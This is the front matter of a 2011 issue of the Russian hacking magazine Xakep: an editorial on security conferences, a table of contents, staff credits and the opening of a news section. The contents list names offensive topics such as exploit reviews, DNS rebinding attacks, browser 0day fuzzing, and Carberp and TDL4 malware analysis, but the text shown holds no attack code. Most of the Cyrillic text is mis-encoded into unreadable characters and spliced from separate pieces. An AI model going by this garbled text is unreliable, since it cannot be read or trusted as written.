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3 ñàìûõ àêòèâíûõ ó÷àñòíèêà ôîêóñ-ãðóïïû ïîëó÷àò â ýòîì ìåñÿöå ïîäïèñêè 
íà æóðíàë Õàêåð: çà ïåðâîå ìåñòî — íà 12 ìåñÿöåâ, çà âòîðîå — íà 6 ìåñÿöåâ 
è çà òðåòüå — íà 3 ìåñÿöà.

ÔÎÊÓÑ-ÃÐÓÏÏÀ
Õî÷åøü íå òîëüêî ÷èòàòü æóðíàë, íî è âìåñòå ñ íàìè äåëàòü åãî ëó÷øå? Óêà-
çàòü íà íàøè ôåéëû èëè âûðàçèòü ðåñïåêò çà ñäåëàííóþ ðàáîòó? Ýòî ëåãêî. 
Âñòóïàé â ðÿäû íàøåé ôîêóñ-ãðóïïû è âûèãðûâàé êëàñíûå ïîäàðêè îò æóð-
íàëà è íàøèõ ïàðòíåðîâ.
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¦ÒÓÝ ÏÚÔÚÆÎÉÆ, ØÓÏ ÞÓÏÓ ÄÏÅ ÒÓÁÎÆÓ ÃÁÇÎÏÊ ÓÏØËÏÊ Ã ÑÁÈÃÉÓÉÉ 
ÑÏÒÒÉÊÒËÏÊ whitehat-Ò×ÆÎÜ. ´ ÎÁÒ ÏÄÑÏÍÎÁà ÒÓÑÁÎÁ, É Ò ÖÁËÆÑÒËÉÍ 
ÄÆÎÏÕÏÎÅÏÍ ÐÏÌÎÜÊ ÐÏÑàÅÏË. ®Ï ÃÏÓ ÎÆÈÁÅÁØÁ: ÎÁ 142 ÍÌÎ. ØÆÌÏ-
ÃÆË ÅÏÌÄÏÆ ÃÑÆÍà ÎÆ ÂÜÌÏ ÎÉ ÏÅÎÏÊ ÓÆÍÁÓÉØÆÒËÏÊ ËÏÎÕÆÑÆÎ×ÉÉ ÐÏ 
ÉÎÕÏÑÍÁ×ÉÏÎÎÏÊ ÂÆÈÏÐÁÒÎÏÒÓÉ, Ã ÓÏ ÃÑÆÍà ËÁË ÅÁÇÆ Ã ÍÁÌÆÎÝËÉÖ 
ÆÃÑÏÐÆÊÒËÉÖ ÒÓÑÁÎÁÖ ÓÁËÉÆ ËÏÎÕÆÑÆÎ×ÉÉ ÔÇÆ ÒÏÃÒÆÍ ÎÆ ÑÆÅËÏÒÓÝ. 
®Ô É Ã ×ÆÌÏÍ ÁËÓÉÃÎÏÒÓÝ ÑÏÒÒÉÊÒËÏÊ ÐÔÂÌÉËÉ ÐÏËÁ ÏØÆÎÝ ÒËÑÏÍ-
ÎÁà, ÆÈÅàÓ ÌßÅÉ ÍÁÌÏ: ÎÆ ÓÏ ØÓÏ Ò ÅÏËÌÁÅÏÍ, Á É Ã ÑÏÌÉ ÓÔÑÉÒÓÁ ÎÁ 
ÍÆÇÅÔÎÁÑÏÅÎÜÆ ËÏÎÕÆÑÆÎ×ÉÉ ËÓÏ-ÌÉÂÏ ÈÁÆÈÇÁÆÓ ËÑÁÊÎÆ ÑÆÅËÏ. 
³Ï ÇÆ ÒÁÍÏÆ É Ò ÃÎÔÓÑÆÎÎÆÊ ÁËÓÉÃÎÏÒÓÝß. ¬ßÅÉ ËÁË-ÓÏ ÐÑÉÃÜØÎÏ 
ÏÂÚÁßÓÒà Ã ÞÌÆËÓÑÏÎÎÏÍ ÕÏÑÍÁÓÆ, É ÐÆÑÆÖÏÅÁ ÞÓÏÄÏ ÏÂÚÆÎÉà Ã 
ÑÆÁÌÝÎÜÊ ÍÉÑ ÃÒÆÍ àÃÎÏ ÎÆÅÏÒÓÁÆÓ.

²ÉÌÁÍÉ ÍÎÏÄÉÖ ÈÁÍÆØÁÓÆÌÝÎÜÖ ÌßÅÆÊ ÒÉÓÔÁ×Éà ÎÁØÉÎÁÆÓ ÐÏÓÉ-
ÖÏÎÝËÔ ÍÆÎàÓÝÒà, ØÓÏ ÌÉØÎÏ ÍÎÆ ÏØÆÎÝ ÐÑÉàÓÎÏ. ®Æ ÔÒÐÆÌÁ 
ÏÓÙÔÍÆÓÝ ËÏÎÕÆÑÆÎ×Éà PHD, ËÁË ÔÇÆ ÎÁ ÎÏÒÔ ÏØÆÑÆÅÎÏÊ Chaos 

Constructions (27-28 ÁÃÄÔÒÓÁ Ã °ÉÓÆÑÆ). °ÌßÒ ÎÁÙÉ ÐÉÓÆÑÒËÉÆ 
ÅÑÔÈÝà-ÃÁÊÓÖÆÓÜ ÏÑÄÁÎÉÈÏÃÁÌÉ ÐÆÑÃÔß Ã ±ÏÒÒÉÉ DEFCON-ÄÑÔÐÐÔ 
Ò ÐÏÎàÓÎÜÍ ÎÁÈÃÁÎÉÆÍ «DEFCON-Russia». °ÁÑÎÉ ÑÁÈ Ã ÍÆÒà× 
ÐÑÏÃÏÅàÓ ÃÒÓÑÆØÉ, ËÏÓÏÑÜÆ ÒÏÐÑÏÃÏÇÅÁßÓÒà ÖÏÑÏÙÉÍÉ ÓÆÖÎÉØÆ-
ÒËÉÍÉ ÅÏËÌÁÅÁÍÉ ÎÁ ÓÆÍÔ IT É ÉÎÕÏÑÍÁ×ÉÏÎÎÏÊ ÂÆÈÏÐÁÒÎÏÒÓÉ. 
°ÏÅÑÏÂÎÏÒÓÉ ÓÔÓ: http://defcon-russia.ru.

¬ßÅÉ — ÒÏ×ÉÁÌÝÎÜÆ ÒÔÚÆÒÓÃÁ, Á ÃÆØÎÏ ÒÉÅÆÓÝ ÐÏÏÅÉÎÏØËÆ ÈÁ 
ËÏÍÐÝßÓÆÑÁÍÉ — ÏÓÒÓÏÊÎÁà ÉÅÆà. ´ØÁÒÓÃÔà Ã ÏÕÌÁÊÎÏÃÜÖ ÉÃÆÎÓÁÖ, 
ÓÜ ÃÒÓÑÆØÁÆÙÝ ÍÎÏÄÏ ÑÁÈÎÜÖ É ÉÎÓÆÑÆÒÎÜÖ ÌßÅÆÊ, ÒÏ ÍÎÏÄÉÍÉ ÉÈ 
ËÏÓÏÑÜÖ ÒÏÃÆÑÙÆÎÎÏ ÓÏØÎÏ ÎÁÊÅÆÙÝ ÍÎÏÄÏ ÏÂÚÆÄÏ. £ÒÆ ÞÓÏ ÂÌÁÄÏ-
ÅÁÓÎÁà ÐÏØÃÁ ÅÌà ÏÂÚÆÎÉà, ÐÑÉÅÔÍÜÃÁÎÉà ÎÏÃÜÖ ÉÅÆÊ, ÎÔ É ËÁË 
ÍÉÎÉÍÔÍ — ÐÑÏÒÓÏ ÄÁÑÁÎÓÉà ÖÏÑÏÙÏ ÐÑÏÃÆÅÆÎÎÏÄÏ ÃÑÆÍÆÎÉ.

nikitozz, ÄÌ. ÑÆÅ. ¶
vkontakte.ru/xakep_mag
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MegaNews
004 £ÒÆ ÎÏÃÏÆ ÈÁ ÐÏÒÌÆÅÎÉÊ ÍÆÒà×

Ferrum  
016 °ÑÉÃÆÓ ÉÈ ÂÔÅÔÚÆÄÏ!
 ³ÆÒÓÉÑÏÃÁÎÉÆ ÍÏÎÉÓÏÑÁ Samsung SyncMaster T27A950

018 £ ÈÃÔËÁÖ ÃÜÒÏËÉÖ ÒÕÆÑ
 ³ÆÒÓÉÑÏÃÁÎÉÆ ÁËÔÒÓÉØÆÒËÉÖ ÒÉÒÓÆÍ ÕÏÑÍÁÓÁ 2.0

PC_Zone  
024 ¹ÉÕÑÏÃÁÎÉÆ ÅÌà Dropbox
 Dropbox: ÒÉÎÖÑÏÎÉÈÁ×Éà ÕÁÊÌÏÃ - ÐÑÏÒÓÏ, ÎÏ ÎÆÂÆÈÏÐÁÒÎÏ

028 °ÔÓÝ game-ÑÁÈÑÁÂÏÓØÉËÁ: 
 ÏÓ Flash Ë ÉÄÑÁÍ ÅÌà iPhone
 °ÏÌÍÉÌÌÉÏÎÁ ÅÏÌÌÁÑÏÃ ÎÁ ÉÄÑÆ Ã AppStore

032 «ÏÌÏÎËÁ ÑÆÅÁËÓÏÑÁ
 °ÑÏ ÓÏ, ËÁË ÂÌÏËÉÑÏÃÁÓÝ ËÉÓÁÊ×ÆÃ

033 Proof-of-Concept
 ±ÔÂÑÉËÁ ÏÂ ÉÎÓÆÑÆÒÎÜÖ ÉÅÆàÖ

034 Windows 7 Portable
 ¥ÆÌÁÆÍ ÈÁÄÑÔÈÏØÎÔß ÕÌÆÙËÔ Ò «ÒÆÍÆÑËÏÊ» ÎÁ ÂÏÑÓÔ

£ÈÌÏÍ  
038 Easy-Hack
 ¶ÁËÆÑÒËÉÆ ÒÆËÑÆÓÜ ÐÑÏÒÓÜÖ ÃÆÚÆÊ

042 ¯ÂÈÏÑ ÞËÒÐÌÏÉÓÏÃ
 ¡ÎÁÌÉÈ ÒÃÆÇÆÎÝËÉÖ ÔàÈÃÉÍÏÒÓÆÊ 

048 CONFidence 2011
 ¯ÓØÆÓ Ï ÖÁËÆÑÒËÏÊ ËÏÎÕÆÑÆÎ×ÉÉ Ã °ÏÌÝÙÆ ÉÈ ÐÆÑÃÜÖ ÑÔË

052 °ÏÈÉÓÉÃÎÜÊ CTF
 ¯ÐÉÒÁÎÉÆ ËÏÎËÔÑÒÁ Capture The Flag É ÉÎÓÆÑÃÝß 

 Ò ÏÑÄÁÎÉÈÁÓÏÑÁÍÉ PHDays

056 £ÓÏÑÁà ÇÉÈÎÝ DNS Rebinding
 ²ÃÆÇÉÊ ÐÏÅÖÏÅ Ë ÑÆÁÌÉÈÁ×ÉÉ ÁÓÁË Anti DNS pinning

060 «ÁË ÒÏÈÅÁßÓ 0day ÅÌà ÂÑÁÔÈÆÑÏÃ
 °ÏÉÒË ÔàÈÃÉÍÏÒÓÆÊ Ã ÒÏÃÑÆÍÆÎÎÜÖ ÂÑÁÔÈÆÑÁÖ 

 Ò ÐÏÍÏÚÝß ÕÁÈÈÉÎÄÁ

064 ¡ÎÁÌÉÈ TDL4
 «ÑÉÍÉÎÁÌÉÒÓÉØÆÒËÁà ÞËÒÐÆÑÓÉÈÁ É ÁÎÁÌÉÈ 

 ÑÔÓËÉÓ-ÐÑÏÄÑÁÍÍ ÎÁ ÐÑÉÍÆÑÆ TDL4

066 Cloud Hacking
 ¯ÂÌÁØÎÜÆ ÃÜØÉÒÌÆÎÉà ÎÁ ÒÌÔÇÂÆ Ô ÐÆÎÓÆÒÓÆÑÁ

072 X-Tools
 °ÑÏÄÑÁÍÍÜ ÅÌà ÃÈÌÏÍÁ

MALWARE  
074 Generation Carberp
 ©ÈÔØÁÆÍ ÃÒÆ ÒÆËÑÆÓÜ ÓÑÏàÎÁ Win32/TrojanDownloader.Carberp

080 ÏÂÉÌÝÎÁà ÍÁÌÃÁÑÝ 
 ÐÏÅ ÍÉËÑÏÒËÏÐÏÍ
 ±ÁÒÒÍÁÓÑÉÃÁÆÍ «ÞÑÏÓÉØÆÒËÉÊ» J2ME-ÈÌÏÃÑÆÅ 

 ÃÏ ÃÒÆÖ ÉÎÓÉÍÎÜÖ ÐÏÅÑÏÂÎÏÒÓàÖ

²×ÆÎÁ 
082 HD Moore
 ¯ Metasploit É ÆÄÏ ÒÏÈÅÁÓÆÌÆ

¿ÎÉËÒÏÊÅ  
086 ²ÔÐÆÑËÏÍÐÝßÓÆÑ ÉÈ ÃÉÅÆÏËÁÑÓÜ
 ¨ÁÅÆÊÒÓÃÔÆÍ ÃÏÈÍÏÇÎÏÒÓÉ GPU ÅÌà ÔÒËÏÑÆÎÉà ÒÏÕÓÁ

092 °ÏÃÆÌÉÓÆÌÝ ÕÁÊÌÏÃ
 1000 É ÏÅÉÎ ÒÐÏÒÏÂ ÏÓËÁÓÉÓÝ É ÒÉÎÖÑÏÎÉÈÉÑÏÃÁÓÝ ÕÁÊÌÜ
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102 Web-ÐÑÉÌÏÇÆÎÉà Ò ÓÔÑÂÏÎÁÅÅÔÃÏÍ
 µÑÆÊÍÃÏÑË Kohana + ÙÁÂÌÏÎ ÐÑÏÆËÓÉÑÏÃÁÎÉà MVC = love

108 ²ÐÁÍÉÍ ̄ ÓÃÆÓÜ@Mail.Ru
 ©ÒÐÏÌÝÈÔÆÍ ÎÆÃÎÉÍÁÓÆÌÝÎÏÒÓÝ ÑÔËÏÃÏÅÒÓÃÁ 

 mail.ru Ã ÒÃÏÉÖ ×ÆÌàÖ

112 SMS-ÐÏÖÉÓÉÓÆÌÝ ÅÌà Android
 Scripting Layer for Android: ÉÎÓÆÑÆÒÎÁà 

 ÒÑÆÅÁ ÑÁÈÑÁÂÏÓËÉ ÅÌà ÍÏÂÉÌÝÎÏÄÏ ÓÆÌÆÕÏÎÁ
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 CÆËÑÆÓÜ ÍÎÏÄÏÐÏÓÏØÎÏÒÓÉ
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 SCOM: ÑÆÙÆÎÉÆ ÅÌà ÍÏÎÉÓÏÑÉÎÄÁ É ÅÉÁÄÎÏÒÓÉËÉ ÒÉÒÓÆÍ

124 ERP — ÎÁ ÌßÂÏÊ ÃËÔÒ!
 ¯ÂÈÏÑ ERP-ÒÉÒÓÆÍ: ÅÁ, ÐÑÏ Open Source ÍÜ ÓÏÇÆ ÎÆ ÈÁÂÜÌÉ

130 ¢ÑÏÎÆÇÉÌÆÓ 
 ÅÌà ËÏÑÐÏÑÁÓÉÃÎÏÄÏ ÐÉÎÄÃÉÎÁ
 SELinux: ÍÉÎÉÒÓÆÑÒÓÃÏ ÏÂÏÑÏÎÜ ²¹¡ ÑÆËÏÍÆÎÅÔÆÓ!
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 ¯ÂÈÏÑ ÌÔØÙÉÖ Shield-ÐÌÁÓ ÅÌà Arduino
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/ÐÅÄÀÊÖÈÀ
>Ãëàâíûé ðåäàêòîð
Íèêèòà «nikitozz» Êèñëèöèí
(nikitoz@real.xakep.ru) 
>Âûïóñêàþùèé ðåäàêòîð
®ÉËÏÌÁÊ«gorl»¡ÎÅÑÆÆÃ
(gorlum@real.xakep.ru)

>Ðåäàêòîðû ðóáðèê
PC_ZONE É UNITS
²ÓÆÐÁÎ «step» ©ÌÝÉÎ 
(step@real.xakep.ru)
ÊÎÄÈÍÃ, MALWARE É SYN/ACK
¡ÌÆËÒÁÎÅÑ «Dr. Klouniz» ¬ÏÈÏÃÒËÉÊ
(alexander@real.xakep.ru)
UNIXOID É PSYCHO
Àíäðåé «Andrushock» Ìàòâååâ
(andrushock@real.xakep.ru)
PHREAKING
²ÆÑÄÆÊ ²ÉÌÝÎÏÃ (po@kumekay.com)
>¬ÉÓÆÑÁÓÔÑÎÜÊ ÑÆÅÁËÓÏÑ
¿ÌÉà ¶ÌÜÒÓÏÃÁ

> DVD
£ÜÐÔÒËÁßÚÉÊ ÑÆÅÁËÓÏÑ
²ÓÆÐÁÎ «Step» ©ÌÝÉÎ
(step@real.xakep.ru)
Unix-ÑÁÈÅÆÌ
¡ÎÓÏÎ  «Ant» §ÔËÏÃ
(antitster@gmail.com)
Security-ÑÁÈÅÆÌ
¥ÍÉÓÑÉÊ «D1g1» ¦ÃÅÏËÉÍÏÃ
(evdokimovds@gmail.com)
ÏÎÓÁÇ ÃÉÅÆÏ
ÁËÒÉÍ ³ÑÔÂÉ×ÜÎ

>PR-ÅÉÑÆËÓÏÑ
¡ÎÎÁ ¤ÑÉÄÏÑÝÆÃÁ (grigorieva@glc.ru)

>±ÆÅÁËÓÏÑ xakep.ru
¬ÆÏÎÉÅ ¢ÏÄÏÌßÂÏÃ (xa@real.xakep.ru)

/ART
>Àðò-äèðåêòîð
¦ÃÄÆÎÉÊ  ®ÏÃÉËÏÃ 
>£ÆÑÒÓÁÌÝÚÉË
£ÆÑÁ ²ÃÆÓÌÜÖ 

/PUBLISHING

>Ó÷ðåäèòåëü
ÎÎÎ «Ãåéì Ëýíä», 115280, ÏÒËÃÁ,  ÔÌ. ¬ÆÎÉÎÒ-
ËÁà ²ÌÏÂÏÅÁ,19, ̄ ÍÆÄÁ ÐÌÁÈÁ, 5 ÞÓÁÇ, ÏÕÉÒ � 21
³ÆÌ.: (495) 935-7034, ÕÁËÒ: (495) 545-0906
>¤ÆÎÆÑÁÌÝÎÜÊ ÅÉÑÆËÓÏÑ
¥ÍÉÓÑÉÊ ¡ÄÁÑÔÎÏÃ
>¤ÆÎÆÑÁÌÝÎÜÊ ÉÈÅÁÓÆÌÝ
¥ÆÎÉÒ «ÁÌÉÎÉÎ
>µÉÎÁÎÒÏÃÜÊ ÅÉÑÆËÓÏÑ
¡ÎÅÑÆÊ µÁÓÆÑËÉÎ
>¥ÉÑÆËÓÏÑ ÐÏ ÐÆÑÒÏÎÁÌÔ
³ÁÓÝàÎÁ ¤ÔÅÆÂÒËÁà
>¥ÉÑÆËÓÏÑ ÐÏ ÍÁÑËÆÓÉÎÄÔ
¦ÌÆÎÁ «ÁÑËÁÙÁÅÈÆ
>¤ÌÁÃÎÜÊ ÅÉÈÁÊÎÆÑ
¾ÎÅÉ ³ÆÑÎÂÔÌÌ
>¥ÉÑÆËÓÏÑ ÐÏ ÐÑÏÉÈÃÏÅÒÓÃÔ
²ÆÑÄÆÊ «ÔØÆÑàÃÜÊ

/±¡¨¦º¦®©¦ ±¦«¬¡¼
³ÆÌ.: (495) 935-7034, ÕÁËÒ: (495) 545-0906
/±¦«¬¡®¼ª ̄ ³¥¦¬
>¥ÉÑÆËÓÏÑ ÄÑÔÐÐÜ TECHNOLOGY
ÁÑÉÎÁ «ÏÍÌÆÃÁ (komleva@glc.ru)

>²ÓÁÑÙÉÆ  ÍÆÎÆÅÇÆÑÜ
¯ÌÝÄÁ ¦ÍÆÌÝàÎ×ÆÃÁ (olgaeml@glc.ru) 
¯ËÒÁÎÁ ¡ÌÆÖÉÎÁ (alekhina@glc.ru)

>ÆÎÆÅÇÆÑ
¦ÌÆÎÁ °ÏÌÉËÁÑÐÏÃÁ (polikarpova@glc.ru)
>¡ÅÍÉÎÉÒÓÑÁÓÏÑ
©ÑÉÎÁ ¢ÉÑÁÑÏÃÁ, birarova@glc.ru

>¥ÉÑÆËÓÏÑ ËÏÑÐÏÑÁÓÉÃÎÏÊ ÄÑÔÐÐÜ 
(ÑÁÂÏÓÁ Ò ÑÆËÌÁÍÎÜÍÉ ÁÄÆÎÓÒÓÃÁÍÉ)
«ÑÉÒÓÉÎÁ ³ÁÓÁÑÆÎËÏÃÁ (tatarenkova@glc.ru)
>²ÓÁÑÙÉÆ ÍÆÎÆÅÇÆÑÜ
©ÑÉÎÁ «ÑÁÒÎÏËÔÓÒËÁà (ilk@glc.ru)
®ÁÅÆÇÅÁ ¤ÏÎØÁÑÏÃÁ (goncharova.n@glc.ru)
>ÆÎÆÅÇÆÑ
²ÃÆÓÌÁÎÁ ÀËÏÃÌÆÃÁ (yakovleva.s@glc.ru)
>²ÓÁÑÙÉÊ ÓÑÁÕÉË-ÍÆÎÆÅÇÆÑ
ÁÑÝà ¡ÌÆËÒÆÆÃÁ (alekseeva@glc.ru)
> ¥ÉÑÆËÓÏÑ ÐÏ ÐÑÏÅÁÇÆ ÑÆËÌÁÍÜ ÎÁ MAN TV
ÁÑÉÎÁ ±ÔÍàÎ×ÆÃÁ 

/¯³¥¦¬ ±¦¡¬©¨¡·©© 
²°¦·°±¯¦«³¯£
>¥ÉÑÆËÓÏÑ
¡ÌÆËÒÁÎÅÑ «ÏÑÆÎÕÆÌÝÅ 
>ÆÎÆÅÇÆÑÜ
²ÃÆÓÌÁÎÁ ßÌÌÆÑ
³ÔÌÉÎÏÃÁ ®ÁÓÁÌÉà

/±¡²°±¯²³±¡®¦®©¦
>¥ÉÑÆËÓÏÑ ÐÏ ¥ÉÒÓÑÉÂÔ×ÉÉ
«ÏÙÆÌÆÃÁ ³ÁÓÝàÎÁ (kosheleva@glc.ru)
> ±ÔËÏÃÏÅÉÓÆÌÝ ÒÐÆ×ÑÁÒÐÑÏÒÓÑÁÎÆÎÉà
¬ÔËÉØÆÃÁ ®ÁÓÁÌÝà (lukicheva@glc.ru)
> °ÑÆÓÆÎÈÉÉ É ÅÏÐÏÌÎÉÓÆÌÝÎÁà ÉÎÕÁ:
£  ÒÌÔØÁÆ ÃÏÈÎÉËÎÏÃÆÎÉà ÃÏÐÑÏÒÏÃ ÐÏ ËÁØÆÒÓ-
ÃÔ ÐÆØÁÓÉ É DVD-ÅÉÒËÏÃ: claim@glc.ru.
> ÃîðàØÁà ëèíèà  ïî ïîäïèñêå
µÁËÒ ÅÌà ÏÓÐÑÁÃËÉ ËÔÐÏÎÏÃ É ËÃÉÓÁÎ×ÉÊ ÎÁ 
ÎÏÃÜÆ ÐÏÅÐÉÒËÉ: (495) 545-09-06
³ÆÌÆÕÏÎ ÏÓÅÆÌÁ ÐÏÅÐÉÒËÉ ÅÌà ÇÉÓÆÌÆÊ 
ÏÒËÃÜ: (495) 663-82-77
³ÆÌÆÕÏÎ ÅÌà ÇÉÓÆÌÆÊ ÑÆÄÉÏÎÏÃ É ÅÌà ÈÃÏÎËÏÃ 

Ò ÍÏÂÉÌÝÎÜÖ ÓÆÌÆÕÏÎÏÃ: 8-800-200-3-999
> Äëà ÐÉÒÆÍ
101000, Ìîñêâà,  Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð
Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå 
Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè, 
òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõ 
êîììóíèêàöèé ÏÈ ß 77-11802  îò 14.02.2002
Îòïå÷àòàíî â òèïîãðàôèè «Zapolex», 
°ÏÌÝÙÁ.
Òèðàæ 219 833 ýêçåìïëÿðîâ.

Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî ñîâïàäàåò 
ñ ìíåíèåì àâòîðîâ. £ñå ìàòåðèàëû â 
íîìåðå ïðåäîñòàâëÿþòñÿ êàê èíôîðìàöèÿ ê 
ðàçìûøëåíèþ. Ëèöà, èñïîëüçóþùèå äàííóþ 
èíôîðìàöèþ â ïðîòèâîçàêîííûõ öåëÿõ, 
ìîãóò áûòü ïðèâëå÷åíû ê îòâåòñòâåííîñòè. 
Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà 
ñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé â 
íîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ 
áåç ñïðîñà — ïðåñëåäóåì. °Ï ÃÏÐÑÏÒÁÍ 
ÌÉ×ÆÎÈÉÑÏÃÁÎÉà É ÐÏÌÔØÆÎÉà ÐÑÁÃ ÎÁ 
ÉÒÐÏÌÝÈÏÃÁÎÉÆ ÑÆÅÁË×ÉÏÎÎÜÖ ÍÁÓÆÑÉÁÌÏÃ 
ÇÔÑÎÁÌÁ ÏÂÑÁÚÁÊÓÆÒÝ ÐÏ ÁÅÑÆÒÔ:
content@glc.ru

© ÎÎÎ «Ãåéì Ëýíä», ±µ, 2011

024

086

¹ÉÕÑÏÃÁÎÉÆ ÅÌà Dropbox
Dropbox: ÒÉÎÖÑÏÎÉÈÁ×Éà ÕÁÊÌÏÃ — ÐÑÏÒÓÏ,

ÎÏ ÎÆÂÆÈÏÐÁÒÎÏ

²ÔÐÆÑËÏÍÐÝßÓÆÑ ÉÈ ÃÉÅÆÏËÁÑÓÜ
¨ÁÅÆÊÒÓÃÔÆÍ ÃÏÈÍÏÇÎÏÒÓÉ GPU ÅÌà ÔÒËÏÑÆÎÉà ÒÏÕÓÁ

£ÓÏÑÁà ÇÉÈÎÝ DNS Rebinding
²ÃÆÇÉÊ ÐÏÅÖÏÅ Ë ÑÆÁÌÉÈÁ×ÉÉ ÁÓÁË Anti DNS pinning

056
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Meganews
Обо всем 
за последний 
месяц

´ÇÆ ÓÑÁÅÉ×ÉÏÎÎÜÆ ÎÏÃÏÒÓÉ Ï ÖÏÅÆ ÍÆÇÅÔÎÁÑÏÅÎÏÊ ÒÓÔÅÆÎØÆÒËÏÊ ÏÌÉÍÐÉ-
ÁÅÜ ÐÏ ÐÑÏÄÑÁÍÍÉÑÏÃÁÎÉß. µÉÎÁÌ ICPC Ã ÞÓÏÍ ÄÏÅÔ ÐÑÉÙÌÏÒÝ ÏÓÌÏÇÉÓÝ, 
ÃÆÅÝ ÏÎ ÅÏÌÇÆÎ ÂÜÌ ÒÏÒÓÏàÓÝÒà ÃÆÒÎÏÊ Ã ¹ÁÑÍ-ÞÌÝ-¹ÆÊÖÆ (¦ÄÉÐÆÓ), ÎÏ 

ÉÍÆÎÎÏ ÓÏÄÅÁ Ã ÒÓÑÁÎÆ ÎÁØÁÌÒà ÐÆÑÆÃÏÑÏÓ... £ ÉÓÏÄÆ, ÈÁËÌßØÉÓÆÌÝÎÜÊ 
ÓÔÑ ÏÌÉÍÐÉÁÅÜ ÉÍÆÌ ÍÆÒÓÏ Ã ²¹¡, Ã ÄÏÑÏÅÆ ̄ ÑÌÁÎÅÏ. ®ÁÐÏÍÉÎÁÆÍ, ØÓÏ 
±ÏÒÒÉß ÐÑÆÅÒÓÁÃÌàÌÉ 11 ËÏÍÁÎÅ ÒÏ ÃÒÆÖ ÔÄÏÌËÏÃ ÎÁÙÆÊ ÒÓÑÁÎÜ. °ÆÑÃÏÆ 
ÍÆÒÓÏ Ã ÞÓÏÍ ÄÏÅÔ, ÔÃÜ, ÏÒÓÁÌÏÒÝ ÈÁ «ÉÓÁÆÍ, ØÝÉ ËÏÍÁÎÅÜ ÓÑÁÅÉ×ÉÏÎÎÏ 
ÒÉÌÝÎÜ — ÑÆÙÉÓÝ 8 ÈÁÅÁØ ÂÜÒÓÑÆÆ É ÐÑÁÃÉÌÝÎÆÆ ÃÒÆÖ ÔÅÁÌÏÒÝ ÑÆÂàÓÁÍ 
ÉÈ ÔÎÉÃÆÑÒÉÓÆÓÁ ̧ ÇÞ×ÈàÎ. ®Á ÐÏÒÌÆÅÔßÚÉÖ ÍÆÒÓÁÖ ÓÔÑÎÉÑÎÏÊ ÓÁÂÌÉ×Ü 
ÑÁÒÐÏÌÏÇÉÌÉÒÝ: 
•  ÔÎÉÃÆÑÒÉÓÆÓ ÉØÉÄÁÎÁ, ²¹¡ (8 ÈÁÅÁØ);
•  ÔÎÉÃÆÑÒÉÓÆÓ ·ÉÎÖÔÁ, «ÉÓÁÊ (7 ÈÁÅÁØ);
•  ²ÁÎËÓ-°ÆÓÆÑÂÔÑÄÒËÉÊ ÄÏÒÔÅÁÑÒÓÃÆÎÎÜÊ ÔÎÉÃÆÑÒÉÓÆÓ, ±ÏÒÒÉà (7 ÈÁÅÁØ);
•  ®ÉÇÆÄÏÑÏÅÒËÉÊ ÄÏÒÔÅÁÑÒÓÃÆÎÎÜÊ ÔÎÉÃÆÑÒÉÓÆÓ, ±ÏÒÒÉà (7 ÈÁÅÁØ);
•  ²ÁÑÁÓÏÃÒËÉÊ ÄÏÒÔÅÁÑÒÓÃÆÎÎÜÊ ÔÎÉÃÆÑÒÉÓÆÓ, ±ÏÒÒÉà (7 ÈÁÅÁØ). 
£ÒÆÖ ÔÅÉÃÉÌÏ ÒÓÏÌÝ ÂÌÉÒÓÁÓÆÌÝÎÏÆ ÃÜÒÓÔÐÌÆÎÉÆ ÉØÉÄÁÎÁ, ËÏÓÏÑÏÆ ÅÌà 
ÍÎÏÄÉÖ ÒÓÁÌÏ ÎÁÒÓÏàÚÉÍ ÒßÑÐÑÉÈÏÍ, ÓÁË ËÁË ÏÎÉ ÎÆ ÂÜÌÉ ÅÁÇÆ Ã ØÉÒÌÆ 
ÕÁÃÏÑÉÓÏÃ. ̧ ÓÏ ËÁÒÁÆÓÒà ÎÁÙÉÖ ÑÆÂàÓ, ÖÏÓÝ ÏÎÉ É ÎÆ ÃÏÙÌÉ Ã ÞÓÏÍ ÄÏÅÔ Ã 
ÓÑÏÊËÔ, ËÏÍÁÎÅÜ ÃÒÆ ÑÁÃÎÏ ÈÁÒÌÔÇÉÌÉ ÈÏÌÏÓÜÆ, ÒÆÑÆÂÑàÎÜÆ É ÂÑÏÎÈÏÃÜÆ 
ÍÆÅÁÌÉ, Ò ØÆÍ ÍÜ ÉÖ ÉÒËÑÆÎÎÆ ÐÏÈÅÑÁÃÌàÆÍ!

©ÎÓÆÑÆÒÎÏÆ ÏÂÎÏÃÌÆÎÉÆ ÐÏàÃÉÌÏÒÝ ÎÁ ÒÓÆÎÆ ¥ÇÏÑÅÇÁ «GeoHot» ¶ÏÓ×Á 
Ã Facebook. ©ÈÃÆÒÓÎÜÊ ÃÒÆÊ ÐÌÁÎÆÓÆ ÅÇÆÊÌÂÑÆÊËÆÑ É ÁËÓÉÃÎÜÊ ÂÏÑÆ× 
Ò ËÏÍÐÁÎÉÆÊ Sony ÎÁÐÉÒÁÌ ÒÌÆÅÔßÚÆÆ: «Facebook — ÅÆÊÒÓÃÉÓÆÌÝÎÏ 
ÐÏÓÑàÒÁßÚÆÆ ÍÆÒÓÏ ÅÌà ÑÁÂÏÓÜ... ÐÆÑÃÜÊ ÖÁËÆÑÒËÉÊ ÍÁÑÁÕÏÎ ÏËÏÎØÆÎ» 
(«Facebook is really an amazing place to work... first hackathon over»). £ 
ÒËÏÑÏÍ ÃÑÆÍÆÎÉ ÞÓÁ ÉÎÕÏÑÍÁ×Éà ÐÏÅÓÃÆÑÅÉÌÁÒÝ. ·ÔËÆÑÂÆÑÄ É ËÏÍÐÁÎÉà 
ÅÆÊÒÓÃÉÓÆÌÝÎÏ ÃÈàÌÉ ÞÐÁÓÁÇÎÏÄÏ ÖÁËÆÑÁ ÎÁ ÑÁÂÏÓÔ, ÐÑÉÓÏÍ ÅÏÃÏÌÝÎÏ 
ÅÁÃÎÏ — ¶ÏÓ× Ò 9-ÄÏ ÍÁà ÑÁÂÏÓÁÆÓ Ã Facebook ËÁË software engineer. ³Ï ÆÒÓÝ, 
